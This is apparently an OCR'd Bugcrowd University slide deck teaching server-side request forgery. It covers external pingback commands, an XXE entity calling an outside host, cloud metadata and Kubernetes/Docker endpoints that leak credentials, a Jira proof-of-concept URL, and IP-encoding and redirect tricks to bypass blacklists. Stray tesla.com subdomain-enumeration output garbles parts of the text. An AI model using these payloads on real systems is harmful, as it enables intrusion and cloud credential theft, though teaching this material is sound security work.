

Searching now in Google. Searching now in Bing. Searching now in Ask Searching now in Netcraft Searching now in DNSdumpster... Server Side Request Total Unique Subdomains Found: 36 www.tesla.com Forgery auth.tesla.com autodiscover.tesla.com blog.tesla.com comparison.tesla.com dev.tesla.com eua-origin.tesla.com imap.tesla.com

pop.tesla.com powerwall.tesla.com resources.tesla.com shop.tesla.com

lyncdiscover.tesla.com model3.tesla.com my.tesla.com naa-origin.tesla.com new.tesla.com new.tesla.com new.dev.tesla.com

Bugcrowd University



Module Trainer





I USED TO BE A BUG BOUNTY HUNTER LIKE YOU BUT THEN I GOT BUSY WITH OTHER SECURITY

RESEARCH PROJECTS





bugcrowd.com

Module Trainer

- ALYSSA HERRERA @ALYSSA_HERRERA_
 - WEBAPP SECURITY RESEARCHER
- FULL-TIME BUG BOUNTY HUNTER ON HACKERONE, BUGCROWD, INTIGRITI, ETC



Module Outline

- 1. INTRODUCTION TO SSRF
- 2. TWO TYPES OF SSRF: EXTERNAL SSRF

AND INTERNAL SSRF

- 3. LAB URL
- 4. PUBLIC DISCLOSURE SAMPLE
- 5. BYPASSING THE BLACKLISTS
- 6. RESOURCES AND REFERENCES





Introduction to SSRF

ACCORDING TO OWASP, "IN A SERVER-SIDE REQUEST FORGERY (SSRF) ATTACK, THE ATTACKER CAN ABUSE FUNCTIONALITY ON THE SERVER TO READ OR UPDATE INTERNAL RESOURCES


THE GOOD THING ABOUT SSRF IS THAT YOU CAN CHAIN IT / A LOT OF POSSIBLE ATTACK VECTORS

SSRF TO PORT SCAN, SSRF TO IDENTIFY INTERNAL WEB SERVICES, SSRF TO LOCAL FILE READ, SSRF TO

DATA LEAKAGE, ETC

★ LEVERAGING PORT SMUGGLING






External SSRF

- MAKING OUTBOUND CONNECTIONS TO A SERVER YOU CONTROL
- MAKING A PINGBACK TO A PROVIDED EXTERNAL URL
- IN SOME CASES IT ALLOWS YOU TO GET AN INTERNAL IP/SENSITIVE DATA
- PARSES THE CONTENT OF A PARAMETER USING AN EXTERNAL URL FOR EXAMPLE HTTP://EXAMPLE.COM/CHECK?URL=HTTPS://GOOGLE.COM
- DOESN'T NECESSARILY PROVE AN EXPLOITABLE SSRF SCENARIO
- IN SOME CASES PROVIDE FEEDBACK THROUGH ERROR OR BY DESIGN

<u>External SSRF</u> - Making an outbound connection

```
O O Not Secure pingb.in/7dde480fb5cc160089d30d650597
$ ping -c1 -p 007dde480fb5cc160089d30d65059700 pingb.in
$ curl pingb.in/p/7dde480fb5cc160089d30d650597
 dig 7dde480fb5cc160089d30d650597 @pingb.in
$ dig 7dde480fb5cc160089d30d650597.ns.pingb.in
C:\> nslookup 7dde480fb5cc160089d30d650597 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/7dde480fb5cc160089d30d650597">]>
    <foo>&xxe;</foo>
     03:20:07 ---- 112.210.220.136:62467 pingb.in
     03:19:48 ---- 112.210.220.136:62459 pingb.in
```


External SSRF - Making an external pingback



^ v × Follow TCP Stream		
Stream Content		
POST /xmlrpc.php HTTP/1.1 Host: www.pentestgeek.com User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 332 <pre></pre> <p< td=""></p<>		
Server: Nginx / Varnish X-Powered-By: PHP/5.2.17		
<pre><?xml version="1.0" encoding="UTF-8"?> <methodresponse></methodresponse></pre>	d so	
Entire conversation (1171 bytes)	▼	
Find Save As Print O ASCII O EBCDIC O Hex Dump O C Arrays • Rat	w	
Help Filter Out This Stream Close		

THANKS PENTESTGEEK. COM FOR THE IMAGES

<u>Internal SSRF</u>



- TRAVERSE INTERNAL NETWORKS & ACCESS INTERNAL ADMINISTRATIVE PANELS, ROUTERS, ETC.
- SCENARIO WHERE FORGED REQUESTS CAN BE ROUTED INTERNALLY EXAMPLE.COM/LOOKUP?URL=LOCALHOST
- * RUN PORT SCANS ON INTERNAL IPS
- ★ DEBUG ENDPOINTS
 EXAMPLE.COM/LOOKUP?URL=LOCALHOST/SERVER-STATUS

<u>Internal SSRF</u> – Parsing an AWS Metadata



POC URL: HTTPS://SSRF-VULNERABLE.HOST/PLUGINS/SERVLET/OAUTH/USERS/ICON-URI?CONSUMERURI=HTTP://169.254.169.254/LATEST/META-DATA/



<u>Internal SSRF</u>

- \star ALIBABA: HTTP://100.100.100.200/LATEST/META-DATA/
- DOCKER CONTAINERS: HTTP://127.0.0.1:2375/V1.24/CONTAINERS/JSON
- ** KUBERNETES ETCD CONTAINS API KEYS, INTERNAL IP AND PORTS: HTTP://127.0.0.1:2379/V2/KEYS/?RECURSIVE=TRUE
- GOOGLE CLOUD: HTTP://169.254.169.254/COMPUTEMETADATA/V1/
- ★ DIGITAL OCEAN: HTTP://169.254.169.254/METADATA/V1.JSON
- ACKETCLOUD: HTTPS://METADATA.PACKET.NET/USERDATA
- ★ ORACLE CLOUD: HTTP://192.0.0.192/LATEST/
 - MORE EXAMPLES: HTTPS://GITHUB.COM/SWISSKYREPO/PAYLOADSALLTHETHINGS/TREE/MASTER/SSRF%20INJECTION





Bypassing the Blacklists

DNS record


http://169.254.169.254 http://metadata.nicob.net/ http://169.254.169.254.xip.io/

```
http://lynrnhl.xip.io/
  http://www.owasp.org.lynrnhl.xip.io/
HTTP redirect
 Static:http://nicob.net/redir6a
 Dynamic: http://nicob.net/redir-http-169.254.169.254:80-
Alternate IP encoding
  http://425.510.425.510/ Dotted decimal with overflow
  http://2852039166/ Dotless decimal
  http://7147006462/ Dotless decimal with overflow
  http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
  http://0xA9FEA9FE/ Dotless hexadecimal
  http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
  http://0251.0376.0251.0376/ Dotted octal
  http://0251.00376.000251.0000376/ Dotted octal with padding
```

Lab URL (simple demo): http://35.163.67.86/parse.php


```
Searching now in Virustotal
   Searching now in ThreatCrowd.
   Searching now in SSL Certificates
   Searching now in PassiveONS
   Total Unique Subdomains Found: 36
eua-origin.tesla.com
forums.tesla.com
lyncdiscover.tesla.com
nas-origin.tesla.com
```

shop.tesla.com



Public Disclosure Sample

https://jira.atlassian.com/browse/JRASERVER-66642





- [-] Searching now in Google..
 [-] Searching now in Bing..
 [-] Searching now in Ask..
 [-] Searching now in Netcraft..
 [-] Searching now in DNSdumpster..
 [-] Searching now in Virustotal
- Resources and
- [1] Error: Google probably now is blocking ou
- [~] Finished now the Google Enumeration ...
 [-] Total Unique Subdomains Found: 36
 www.tesla.com
- auth.tesla.com autodiscover.tesla.com blog.tesla.com
- comparison.tesla.com dev.tesla.com
- eua-origin.tesla.com forums.tesla.com
- imap.tesla.com
 ir.tesla.com
 lyncdiscover.tesla.com
- model3.tesla.com my.tesla.com naa-origin.tesla.com nas-origin tesla.com
- new.tesla.com new.dev.tesla.com partners.tesla.com
- pop.tesla.com powerwall.tesla.com resources.tesla.com shop.tesla.com

References

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Resources and References

SSRF RESOURCES FROM BUG

BOUNTY FORUM

SERVER-SIDE REQUEST FORGERY	https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20 injection
A NEW ERA OF SSRF - EXPLOITING URL PARSER IN TRENDING PROGRAMMING LANGUAGES!	https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SS RF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
TRUST NO ONE: THE PERILS OF TRUSTING USER INPUT	https://www.nginx.com/blog/trust-no-one-perils-of-trusting-user-input/

https://bugbountyforum.com/resources/#server-side-request-forgery